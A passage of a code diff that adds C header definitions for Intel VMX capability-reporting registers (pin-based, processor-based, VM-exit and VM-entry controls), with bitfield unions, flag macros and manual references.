(IDT). If this control is 1, the value of RFLAGS.IF does not affect interrupt blocking. + */ + uint64_t external_interrupt_exiting : 1; +#define IA32_VMX_PINBASED_CTLS_EXTERNAL_INTERRUPT_EXITING_BIT 0 +#define IA32_VMX_PINBASED_CTLS_EXTERNAL_INTERRUPT_EXITING_FLAG 0x01 +#define IA32_VMX_PINBASED_CTLS_EXTERNAL_INTERRUPT_EXITING_MASK 0x01 +#define IA32_VMX_PINBASED_CTLS_EXTERNAL_INTERRUPT_EXITING(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 2; + + /** + * @brief Non-maskable interrupts cause VM-exits if set; otherwise dispatched through the guest's IDT + * + * [Bit 3] If this control is 1, non-maskable interrupts (NMIs) cause VM exits. Otherwise, they are delivered normally + * using descriptor 2 of the IDT. This control also determines interactions between IRET and blocking by NMI. + * + * @see Vol3C[25.3(CHANGES TO INSTRUCTION BEHAVIOR IN VMX NON-ROOT OPERATION)] + */ + uint64_t nmi_exiting : 1; +#define IA32_VMX_PINBASED_CTLS_NMI_EXITING_BIT 3 +#define IA32_VMX_PINBASED_CTLS_NMI_EXITING_FLAG 0x08 +#define IA32_VMX_PINBASED_CTLS_NMI_EXITING_MASK 0x01 +#define IA32_VMX_PINBASED_CTLS_NMI_EXITING(_) (((_) >> 3) & 0x01) + uint64_t reserved2 : 1; + + /** + * @brief Virtual NMIs + * + * [Bit 5] If this control is 1, NMIs are never blocked and the "blocking by NMI" bit (bit 3) in the interruptibility-state + * field indicates "virtual-NMI blocking". This control also interacts with the "NMI-window exiting" VM-execution control. + * + * @see Vol3C[24.6.2(Processor-Based VM-Execution Controls)] + */ + uint64_t virtual_nmi : 1; +#define IA32_VMX_PINBASED_CTLS_VIRTUAL_NMI_BIT 5 +#define IA32_VMX_PINBASED_CTLS_VIRTUAL_NMI_FLAG 0x20 +#define IA32_VMX_PINBASED_CTLS_VIRTUAL_NMI_MASK 0x01 +#define IA32_VMX_PINBASED_CTLS_VIRTUAL_NMI(_) (((_) >> 5) & 0x01) + + /** + * @brief Activate VMX preemption timer + * + * [Bit 6] If this control is 1, the VMX-preemption timer counts down in VMX non-root operation. A VM exit occurs when the + * timer counts down to zero. + * + * @see Vol3C[25.5.1(VMX-Preemption Timer)] + * @see Vol3C[25.2(OTHER CAUSES OF VM EXITS)] + */ + uint64_t activate_vmx_preemption_timer : 1; +#define IA32_VMX_PINBASED_CTLS_ACTIVATE_VMX_PREEMPTION_TIMER_BIT 6 +#define IA32_VMX_PINBASED_CTLS_ACTIVATE_VMX_PREEMPTION_TIMER_FLAG 0x40 +#define IA32_VMX_PINBASED_CTLS_ACTIVATE_VMX_PREEMPTION_TIMER_MASK 0x01 +#define IA32_VMX_PINBASED_CTLS_ACTIVATE_VMX_PREEMPTION_TIMER(_) (((_) >> 6) & 0x01) + + /** + * @brief Process interrupts with the posted-interrupt notification vector + * + * [Bit 7] If this control is 1, the processor treats interrupts with the posted-interrupt notification vector specially, + * updating the virtual-APIC page with posted-interrupt requests. + * + * @see Vol3C[24.6.8(Controls for APIC Virtualization)] + * @see Vol3C[29.6(POSTED-INTERRUPT PROCESSING)] + */ + uint64_t process_posted_interrupts : 1; +#define IA32_VMX_PINBASED_CTLS_PROCESS_POSTED_INTERRUPTS_BIT 7 +#define IA32_VMX_PINBASED_CTLS_PROCESS_POSTED_INTERRUPTS_FLAG 0x80 +#define IA32_VMX_PINBASED_CTLS_PROCESS_POSTED_INTERRUPTS_MASK 0x01 +#define IA32_VMX_PINBASED_CTLS_PROCESS_POSTED_INTERRUPTS(_) (((_) >> 7) & 0x01) + uint64_t reserved3 : 56; + }; + + uint64_t flags; +} ia32_vmx_pinbased_ctls_register; + + +/** + * Capability Reporting Register of Primary Processor-Based VM-Execution Controls. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.3.2(Primary Processor-Based VM-Execution Controls)] + * @see Vol3C[24.6.2(Processor-Based VM-Execution Controls)] (reference) + */ +#define IA32_VMX_PROCBASED_CTLS 0x00000482 +typedef union +{ + struct + { + uint64_t reserved1 : 2; + + /** + * @brief VM-exit as soon as RFLAGS.IF=1 and no blocking is active + * + * [Bit 2] If this control is 1, a VM exit occurs at the beginning of any instruction if RFLAGS.IF = 1 and there are no + * other blocking of interrupts. + * + * @see Vol3C[24.4.2(Guest Non-Register State)] + */ + uint64_t interrupt_window_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_INTERRUPT_WINDOW_EXITING_BIT 2 +#define IA32_VMX_PROCBASED_CTLS_INTERRUPT_WINDOW_EXITING_FLAG 0x04 +#define IA32_VMX_PROCBASED_CTLS_INTERRUPT_WINDOW_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_INTERRUPT_WINDOW_EXITING(_) (((_) >> 2) & 0x01) + + /** + * @brief Use timestamp counter offset + * + * [Bit 3] This control determines whether executions of RDTSC, executions of RDTSCP, and executions of RDMSR that read + * from the IA32_TIME_STAMP_COUNTER MSR return a value modified by the TSC offset field. + * + * @see Vol3C[24.6.5(Time-Stamp Counter Offset and Multiplier)] + * @see Vol3C[25.3(CHANGES TO INSTRUCTION BEHAVIOR IN VMX NON-ROOT OPERATION)] + */ + uint64_t use_tsc_offsetting : 1; +#define IA32_VMX_PROCBASED_CTLS_USE_TSC_OFFSETTING_BIT 3 +#define IA32_VMX_PROCBASED_CTLS_USE_TSC_OFFSETTING_FLAG 0x08 +#define IA32_VMX_PROCBASED_CTLS_USE_TSC_OFFSETTING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_USE_TSC_OFFSETTING(_) (((_) >> 3) & 0x01) + uint64_t reserved2 : 3; + + /** + * @brief VM-exit when executing the HLT instruction + * + * [Bit 7] This control determines whether executions of HLT cause VM exits. + */ + uint64_t hlt_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_HLT_EXITING_BIT 7 +#define IA32_VMX_PROCBASED_CTLS_HLT_EXITING_FLAG 0x80 +#define IA32_VMX_PROCBASED_CTLS_HLT_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_HLT_EXITING(_) (((_) >> 7) & 0x01) + uint64_t reserved3 : 1; + + /** + * @brief VM-exit when executing the INVLPG instruction + * + * [Bit 9] This control determines whether executions of INVLPG cause VM exits. + */ + uint64_t invlpg_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_INVLPG_EXITING_BIT 9 +#define IA32_VMX_PROCBASED_CTLS_INVLPG_EXITING_FLAG 0x200 +#define IA32_VMX_PROCBASED_CTLS_INVLPG_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_INVLPG_EXITING(_) (((_) >> 9) & 0x01) + + /** + * @brief VM-exit when executing the MWAIT instruction + * + * [Bit 10] This control determines whether executions of MWAIT cause VM exits. + */ + uint64_t mwait_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_MWAIT_EXITING_BIT 10 +#define IA32_VMX_PROCBASED_CTLS_MWAIT_EXITING_FLAG 0x400 +#define IA32_VMX_PROCBASED_CTLS_MWAIT_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_MWAIT_EXITING(_) (((_) >> 10) & 0x01) + + /** + * @brief VM-exit when executing the RDPMC instruction + * + * [Bit 11] This control determines whether executions of RDPMC cause VM exits. + */ + uint64_t rdpmc_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_RDPMC_EXITING_BIT 11 +#define IA32_VMX_PROCBASED_CTLS_RDPMC_EXITING_FLAG 0x800 +#define IA32_VMX_PROCBASED_CTLS_RDPMC_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_RDPMC_EXITING(_) (((_) >> 11) & 0x01) + + /** + * @brief VM-exit when executing the RDTSC/RDTSCP instruction + * + * [Bit 12] This control determines whether executions of RDTSC and RDTSCP cause VM exits. + */ + uint64_t rdtsc_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_RDTSC_EXITING_BIT 12 +#define IA32_VMX_PROCBASED_CTLS_RDTSC_EXITING_FLAG 0x1000 +#define IA32_VMX_PROCBASED_CTLS_RDTSC_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_RDTSC_EXITING(_) (((_) >> 12) & 0x01) + uint64_t reserved4 : 2; + + /** + * @brief VM-exit when executing the MOV to CR3 instruction (forced to 1 on the 'first' VT-x capable CPUs; this actually + * includes the newest Nehalem CPUs) + * + * [Bit 15] In conjunction with the CR3-target controls, this control determines whether executions of MOV to CR3 cause VM + * exits. The first processors to support the virtual-machine extensions supported only the 1-setting of this control. + * + * @see Vol3C[24.6.7(CR3-Target Controls)] + * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] + */ + uint64_t cr3_load_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_CR3_LOAD_EXITING_BIT 15 +#define IA32_VMX_PROCBASED_CTLS_CR3_LOAD_EXITING_FLAG 0x8000 +#define IA32_VMX_PROCBASED_CTLS_CR3_LOAD_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_CR3_LOAD_EXITING(_) (((_) >> 15) & 0x01) + + /** + * @brief VM-exit when executing the MOV from CR3 instruction (forced to 1 on the 'first' VT-x capable CPUs; this actually + * includes the newest Nehalem CPUs) + * + * [Bit 16] This control determines whether executions of MOV from CR3 cause VM exits. The first processors to support the + * virtual-machine extensions supported only the 1-setting of this control. + */ + uint64_t cr3_store_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_CR3_STORE_EXITING_BIT 16 +#define IA32_VMX_PROCBASED_CTLS_CR3_STORE_EXITING_FLAG 0x10000 +#define IA32_VMX_PROCBASED_CTLS_CR3_STORE_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_CR3_STORE_EXITING(_) (((_) >> 16) & 0x01) + uint64_t reserved5 : 2; + + /** + * @brief VM-exit on CR8 loads + * + * [Bit 19] This control determines whether executions of MOV to CR8 cause VM exits. + */ + uint64_t cr8_load_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_CR8_LOAD_EXITING_BIT 19 +#define IA32_VMX_PROCBASED_CTLS_CR8_LOAD_EXITING_FLAG 0x80000 +#define IA32_VMX_PROCBASED_CTLS_CR8_LOAD_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_CR8_LOAD_EXITING(_) (((_) >> 19) & 0x01) + + /** + * @brief VM-exit on CR8 stores + * + * [Bit 20] This control determines whether executions of MOV from CR8 cause VM exits. + */ + uint64_t cr8_store_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_CR8_STORE_EXITING_BIT 20 +#define IA32_VMX_PROCBASED_CTLS_CR8_STORE_EXITING_FLAG 0x100000 +#define IA32_VMX_PROCBASED_CTLS_CR8_STORE_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_CR8_STORE_EXITING(_) (((_) >> 20) & 0x01) + + /** + * @brief Use TPR shadow + * + * [Bit 21] Setting this control to 1 enables TPR virtualization and other APIC-virtualization features. + * + * @see Vol3C[29(APIC VIRTUALIZATION AND VIRTUAL INTERRUPTS)] + */ + uint64_t use_tpr_shadow : 1; +#define IA32_VMX_PROCBASED_CTLS_USE_TPR_SHADOW_BIT 21 +#define IA32_VMX_PROCBASED_CTLS_USE_TPR_SHADOW_FLAG 0x200000 +#define IA32_VMX_PROCBASED_CTLS_USE_TPR_SHADOW_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_USE_TPR_SHADOW(_) (((_) >> 21) & 0x01) + + /** + * @brief VM-exit when virtual NMI blocking is disabled + * + * [Bit 22] If this control is 1, a VM exit occurs at the beginning of any instruction if there is no virtual-NMI blocking. + * + * @see Vol3C[24.4.2(Guest Non-Register State)] + */ + uint64_t nmi_window_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_NMI_WINDOW_EXITING_BIT 22 +#define IA32_VMX_PROCBASED_CTLS_NMI_WINDOW_EXITING_FLAG 0x400000 +#define IA32_VMX_PROCBASED_CTLS_NMI_WINDOW_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_NMI_WINDOW_EXITING(_) (((_) >> 22) & 0x01) + + /** + * @brief VM-exit when executing a MOV DRx instruction + * + * [Bit 23] This control determines whether executions of MOV DR cause VM exits. + */ + uint64_t mov_dr_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_MOV_DR_EXITING_BIT 23 +#define IA32_VMX_PROCBASED_CTLS_MOV_DR_EXITING_FLAG 0x800000 +#define IA32_VMX_PROCBASED_CTLS_MOV_DR_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_MOV_DR_EXITING(_) (((_) >> 23) & 0x01) + + /** + * @brief VM-exit when executing IO instructions + * + * [Bit 24] This control determines whether executions of I/O instructions (IN, INS/INSB/INSW/INSD, OUT, and + * OUTS/OUTSB/OUTSW/OUTSD) cause VM exits. + */ + uint64_t unconditional_io_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_UNCONDITIONAL_IO_EXITING_BIT 24 +#define IA32_VMX_PROCBASED_CTLS_UNCONDITIONAL_IO_EXITING_FLAG 0x1000000 +#define IA32_VMX_PROCBASED_CTLS_UNCONDITIONAL_IO_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_UNCONDITIONAL_IO_EXITING(_) (((_) >> 24) & 0x01) + + /** + * @brief Use IO bitmaps + * + * [Bit 25] This control determines whether I/O bitmaps are used to restrict executions of I/O instructions For this + * control, "0" means "do not use I/O bitmaps" and "1" means "use I/O bitmaps." If the I/O bitmaps are used, the setting of + * the "unconditional I/O exiting" control is ignored. + * + * @see Vol3C[24.6.4(I/O-Bitmap Addresses)] + * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] + */ + uint64_t use_io_bitmaps : 1; +#define IA32_VMX_PROCBASED_CTLS_USE_IO_BITMAPS_BIT 25 +#define IA32_VMX_PROCBASED_CTLS_USE_IO_BITMAPS_FLAG 0x2000000 +#define IA32_VMX_PROCBASED_CTLS_USE_IO_BITMAPS_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_USE_IO_BITMAPS(_) (((_) >> 25) & 0x01) + uint64_t reserved6 : 1; + + /** + * @brief Monitor trap flag + * + * [Bit 27] If this control is 1, the monitor trap flag debugging feature is enabled. + * + * @see Vol3C[25.5.2(Monitor Trap Flag)] + */ + uint64_t monitor_trap_flag : 1; +#define IA32_VMX_PROCBASED_CTLS_MONITOR_TRAP_FLAG_BIT 27 +#define IA32_VMX_PROCBASED_CTLS_MONITOR_TRAP_FLAG_FLAG 0x8000000 +#define IA32_VMX_PROCBASED_CTLS_MONITOR_TRAP_FLAG_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_MONITOR_TRAP_FLAG(_) (((_) >> 27) & 0x01) + + /** + * @brief Use MSR bitmaps + * + * [Bit 28] This control determines whether MSR bitmaps are used to control execution of the RDMSR and WRMSR instructions. + * For this control, "0" means "do not use MSR bitmaps" and "1" means "use MSR bitmaps." If the MSR bitmaps are not used, + * all executions of the RDMSR and WRMSR instructions cause VM exits. + * + * @see Vol3C[24.6.9(MSR-Bitmap Address)] + * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] + */ + uint64_t use_msr_bitmaps : 1; +#define IA32_VMX_PROCBASED_CTLS_USE_MSR_BITMAPS_BIT 28 +#define IA32_VMX_PROCBASED_CTLS_USE_MSR_BITMAPS_FLAG 0x10000000 +#define IA32_VMX_PROCBASED_CTLS_USE_MSR_BITMAPS_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_USE_MSR_BITMAPS(_) (((_) >> 28) & 0x01) + + /** + * @brief VM-exit when executing the MONITOR instruction + * + * [Bit 29] This control determines whether executions of MONITOR cause VM exits. + */ + uint64_t monitor_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_MONITOR_EXITING_BIT 29 +#define IA32_VMX_PROCBASED_CTLS_MONITOR_EXITING_FLAG 0x20000000 +#define IA32_VMX_PROCBASED_CTLS_MONITOR_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_MONITOR_EXITING(_) (((_) >> 29) & 0x01) + + /** + * @brief VM-exit when executing the PAUSE instruction + * + * [Bit 30] This control determines whether executions of PAUSE cause VM exits. + */ + uint64_t pause_exiting : 1; +#define IA32_VMX_PROCBASED_CTLS_PAUSE_EXITING_BIT 30 +#define IA32_VMX_PROCBASED_CTLS_PAUSE_EXITING_FLAG 0x40000000 +#define IA32_VMX_PROCBASED_CTLS_PAUSE_EXITING_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_PAUSE_EXITING(_) (((_) >> 30) & 0x01) + + /** + * @brief Determines whether the secondary processor based VM-execution controls are used + * + * [Bit 31] This control determines whether the secondary processor-based VM-execution controls are used. If this control + * is 0, the logical processor operates as if all the secondary processor-based VM-execution controls were also 0. + */ + uint64_t activate_secondary_controls : 1; +#define IA32_VMX_PROCBASED_CTLS_ACTIVATE_SECONDARY_CONTROLS_BIT 31 +#define IA32_VMX_PROCBASED_CTLS_ACTIVATE_SECONDARY_CONTROLS_FLAG 0x80000000 +#define IA32_VMX_PROCBASED_CTLS_ACTIVATE_SECONDARY_CONTROLS_MASK 0x01 +#define IA32_VMX_PROCBASED_CTLS_ACTIVATE_SECONDARY_CONTROLS(_) (((_) >> 31) & 0x01) + uint64_t reserved7 : 32; + }; + + uint64_t flags; +} ia32_vmx_procbased_ctls_register; + + +/** + * Capability Reporting Register of VM-Exit Controls. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.4(VM-EXIT CONTROLS)] + * @see Vol3C[24.7.1(VM-Exit Controls)] (reference) + */ +#define IA32_VMX_EXIT_CTLS 0x00000483 +typedef union +{ + struct + { + uint64_t reserved1 : 2; + + /** + * @brief Save guest debug controls (dr7 & IA32_DEBUGCTL_MSR) (forced to 1 on the 'first' VT-x capable CPUs; this actually + * includes the newest Nehalem CPUs) + * + * [Bit 2] This control determines whether DR7 and the IA32_DEBUGCTL MSR are saved on VM exit. The first processors to + * support the virtual-machine extensions supported only the 1-setting of this control. + */ + uint64_t save_debug_controls : 1; +#define IA32_VMX_EXIT_CTLS_SAVE_DEBUG_CONTROLS_BIT 2 +#define IA32_VMX_EXIT_CTLS_SAVE_DEBUG_CONTROLS_FLAG 0x04 +#define IA32_VMX_EXIT_CTLS_SAVE_DEBUG_CONTROLS_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_SAVE_DEBUG_CONTROLS(_) (((_) >> 2) & 0x01) + uint64_t reserved2 : 6; + + /** + * @brief Return to long mode after a VM-exit + * + * [Bit 9] On processors that support Intel 64 architecture, this control determines whether a logical processor is in + * 64-bit mode after the next VM exit. Its value is loaded into CS.L, IA32_EFER.LME, and IA32_EFER.LMA on every VM exit.1 + * This control must be 0 on processors that do not support Intel 64 architecture. + */ + uint64_t host_address_space_size : 1; +#define IA32_VMX_EXIT_CTLS_HOST_ADDRESS_SPACE_SIZE_BIT 9 +#define IA32_VMX_EXIT_CTLS_HOST_ADDRESS_SPACE_SIZE_FLAG 0x200 +#define IA32_VMX_EXIT_CTLS_HOST_ADDRESS_SPACE_SIZE_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_HOST_ADDRESS_SPACE_SIZE(_) (((_) >> 9) & 0x01) + uint64_t reserved3 : 2; + + /** + * @brief Whether the IA32_PERF_GLOBAL_CTRL MSR is loaded on VM-exit + * + * [Bit 12] This control determines whether the IA32_PERF_GLOBAL_CTRL MSR is loaded on VM exit. + */ + uint64_t load_ia32_perf_global_ctrl : 1; +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_BIT 12 +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_FLAG 0x1000 +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL(_) (((_) >> 12) & 0x01) + uint64_t reserved4 : 2; + + /** + * @brief Acknowledge external interrupts with the irq controller if one caused a VM-exit + * + * [Bit 15] This control affects VM exits due to external interrupts: + * - If such a VM exit occurs and this control is 1, the logical processor acknowledges the interrupt controller, acquiring + * the interrupt's vector. The vector is stored in the VM-exit interruption-information field, which is marked valid. + * - If such a VM exit occurs and this control is 0, the interrupt is not acknowledged and the VM-exit + * interruption-information field is marked invalid. + */ + uint64_t acknowledge_interrupt_on_exit : 1; +#define IA32_VMX_EXIT_CTLS_ACKNOWLEDGE_INTERRUPT_ON_EXIT_BIT 15 +#define IA32_VMX_EXIT_CTLS_ACKNOWLEDGE_INTERRUPT_ON_EXIT_FLAG 0x8000 +#define IA32_VMX_EXIT_CTLS_ACKNOWLEDGE_INTERRUPT_ON_EXIT_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_ACKNOWLEDGE_INTERRUPT_ON_EXIT(_) (((_) >> 15) & 0x01) + uint64_t reserved5 : 2; + + /** + * @brief Whether the guest IA32_PAT MSR is saved on VM-exit + * + * [Bit 18] This control determines whether the IA32_PAT MSR is saved on VM exit. + */ + uint64_t save_ia32_pat : 1; +#define IA32_VMX_EXIT_CTLS_SAVE_IA32_PAT_BIT 18 +#define IA32_VMX_EXIT_CTLS_SAVE_IA32_PAT_FLAG 0x40000 +#define IA32_VMX_EXIT_CTLS_SAVE_IA32_PAT_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_SAVE_IA32_PAT(_) (((_) >> 18) & 0x01) + + /** + * @brief Whether the host IA32_PAT MSR is loaded on VM-exit + * + * [Bit 19] This control determines whether the IA32_PAT MSR is loaded on VM exit. + */ + uint64_t load_ia32_pat : 1; +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PAT_BIT 19 +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PAT_FLAG 0x80000 +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PAT_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PAT(_) (((_) >> 19) & 0x01) + + /** + * @brief Whether the guest IA32_EFER MSR is saved on VM-exit + * + * [Bit 20] This control determines whether the IA32_EFER MSR is saved on VM exit. + */ + uint64_t save_ia32_efer : 1; +#define IA32_VMX_EXIT_CTLS_SAVE_IA32_EFER_BIT 20 +#define IA32_VMX_EXIT_CTLS_SAVE_IA32_EFER_FLAG 0x100000 +#define IA32_VMX_EXIT_CTLS_SAVE_IA32_EFER_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_SAVE_IA32_EFER(_) (((_) >> 20) & 0x01) + + /** + * @brief Whether the host IA32_EFER MSR is loaded on VM-exit + * + * [Bit 21] This control determines whether the IA32_EFER MSR is loaded on VM exit. + */ + uint64_t load_ia32_efer : 1; +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_EFER_BIT 21 +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_EFER_FLAG 0x200000 +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_EFER_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_LOAD_IA32_EFER(_) (((_) >> 21) & 0x01) + + /** + * @brief Whether the value of the VMX preemption timer is saved on every VM-exit + * + * [Bit 22] This control determines whether the value of the VMX-preemption timer is saved on VM exit. + */ + uint64_t save_vmx_preemption_timer_value : 1; +#define IA32_VMX_EXIT_CTLS_SAVE_VMX_PREEMPTION_TIMER_VALUE_BIT 22 +#define IA32_VMX_EXIT_CTLS_SAVE_VMX_PREEMPTION_TIMER_VALUE_FLAG 0x400000 +#define IA32_VMX_EXIT_CTLS_SAVE_VMX_PREEMPTION_TIMER_VALUE_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_SAVE_VMX_PREEMPTION_TIMER_VALUE(_) (((_) >> 22) & 0x01) + + /** + * [Bit 23] This control determines whether the IA32_BNDCFGS MSR is cleared on VM exit. + */ + uint64_t clear_ia32_bndcfgs : 1; +#define IA32_VMX_EXIT_CTLS_CLEAR_IA32_BNDCFGS_BIT 23 +#define IA32_VMX_EXIT_CTLS_CLEAR_IA32_BNDCFGS_FLAG 0x800000 +#define IA32_VMX_EXIT_CTLS_CLEAR_IA32_BNDCFGS_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_CLEAR_IA32_BNDCFGS(_) (((_) >> 23) & 0x01) + + /** + * [Bit 24] If this control is 1, Intel Processor Trace does not produce a paging information packet (PIP) on a VM exit or + * a VMCS packet on an SMM VM exit. + * + * @see Vol3C[35(INTEL(R) PROCESSOR TRACE)] + */ + uint64_t conceal_vmx_from_pt : 1; +#define IA32_VMX_EXIT_CTLS_CONCEAL_VMX_FROM_PT_BIT 24 +#define IA32_VMX_EXIT_CTLS_CONCEAL_VMX_FROM_PT_FLAG 0x1000000 +#define IA32_VMX_EXIT_CTLS_CONCEAL_VMX_FROM_PT_MASK 0x01 +#define IA32_VMX_EXIT_CTLS_CONCEAL_VMX_FROM_PT(_) (((_) >> 24) & 0x01) + uint64_t reserved6 : 39; + }; + + uint64_t flags; +} ia32_vmx_exit_ctls_register; + + +/** + * Capability Reporting Register of VM-Entry Controls. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.5(VM-ENTRY CONTROLS)] + * @see Vol3D[24.8.1(VM-Entry Controls)] (reference) + */ +#define IA32_VMX_ENTRY_CTLS 0x00000484 +typedef union +{ + struct + { + uint64_t reserved1 : 2; + + /** + * @brief Load guest debug controls (dr7 & IA32_DEBUGCTL_MSR) (forced to 1 on the 'first' VT-x capable CPUs; this actually + * includes the newest Nehalem CPUs) + * + * [Bit 2] This control determines whether DR7 and the IA32_DEBUGCTL MSR are loaded on VM entry. The first processors to + * support the virtual-machine extensions supported only the 1-setting of this control. + */ + uint64_t load_debug_controls : 1; +#define IA32_VMX_ENTRY_CTLS_LOAD_DEBUG_CONTROLS_BIT 2 +#define IA32_VMX_ENTRY_CTLS_LOAD_DEBUG_CONTROLS_FLAG 0x04 +#define IA32_VMX_ENTRY_CTLS_LOAD_DEBUG_CONTROLS_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_LOAD_DEBUG_CONTROLS(_) (((_) >> 2) & 0x01) + uint64_t reserved2 : 6; + + /** + * @brief 64 bits guest mode. Must be 0 for CPUs that don't support AMD64 + * + * [Bit 9] On processors that support Intel 64 architecture, this control determines whether the logical processor is in + * IA-32e mode after VM entry. Its value is loaded into IA32_EFER.LMA as part of VM entry. This control must be 0 on + * processors that do not support Intel 64 architecture. + */ + uint64_t ia32e_mode_guest : 1; +#define IA32_VMX_ENTRY_CTLS_IA32E_MODE_GUEST_BIT 9 +#define IA32_VMX_ENTRY_CTLS_IA32E_MODE_GUEST_FLAG 0x200 +#define IA32_VMX_ENTRY_CTLS_IA32E_MODE_GUEST_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_IA32E_MODE_GUEST(_) (((_) >> 9) & 0x01) + + /** + * @brief In SMM mode after VM-entry + * + * [Bit 10] This control determines whether the logical processor is in system-management mode (SMM) after VM entry. This + * control must be 0 for any VM entry from outside SMM. + */ + uint64_t entry_to_smm : 1; +#define IA32_VMX_ENTRY_CTLS_ENTRY_TO_SMM_BIT 10 +#define IA32_VMX_ENTRY_CTLS_ENTRY_TO_SMM_FLAG 0x400 +#define IA32_VMX_ENTRY_CTLS_ENTRY_TO_SMM_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_ENTRY_TO_SMM(_) (((_) >> 10) & 0x01) + + /** + * @brief Disable dual treatment of SMI and SMM; must be zero for VM-entry outside of SMM + * + * [Bit 11] If set to 1, the default treatment of SMIs and SMM is in effect after the VM entry. This control must be 0 for + * any VM entry from outside SMM + * + * @see Vol3C[34.15.7(Deactivating the Dual-Monitor Treatment)] + */ + uint64_t deactivate_dual_monitor_treatment : 1; +#define IA32_VMX_ENTRY_CTLS_DEACTIVATE_DUAL_MONITOR_TREATMENT_BIT 11 +#define IA32_VMX_ENTRY_CTLS_DEACTIVATE_DUAL_MONITOR_TREATMENT_FLAG 0x800 +#define IA32_VMX_ENTRY_CTLS_DEACTIVATE_DUAL_MONITOR_TREATMENT_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_DEACTIVATE_DUAL_MONITOR_TREATMENT(_) (((_) >> 11) & 0x01) + uint64_t reserved3 : 1; + + /** + * @brief Whether the guest IA32_PERF_GLOBAL_CTRL MSR is loaded on VM-entry + * + * [Bit 13] This control determines whether the IA32_PERF_GLOBAL_CTRL MSR is loaded on VM entry. + */ + uint64_t load_ia32_perf_global_ctrl : 1; +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_BIT 13 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_FLAG 0x2000 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL(_) (((_) >> 13) & 0x01) + + /** + * @brief Whether the guest IA32_PAT MSR is loaded on VM-entry + * + * [Bit 14] This control determines whether the IA32_PAT MSR is loaded on VM entry. + */ + uint64_t load_ia32_pat : 1; +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PAT_BIT 14 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PAT_FLAG 0x4000 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PAT_MASK 0x01 +#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PAT(_) (((_) >> 14) & 0x01) + + /** + * @brief Whether the guest IA32_EFER MSR is loaded on VM-entry + * + * [Bit 15] This control determines whether the IA32_EFER MSR is loaded on VM entry. + */ + uint64_t load_ia32_efer : 1; +#define 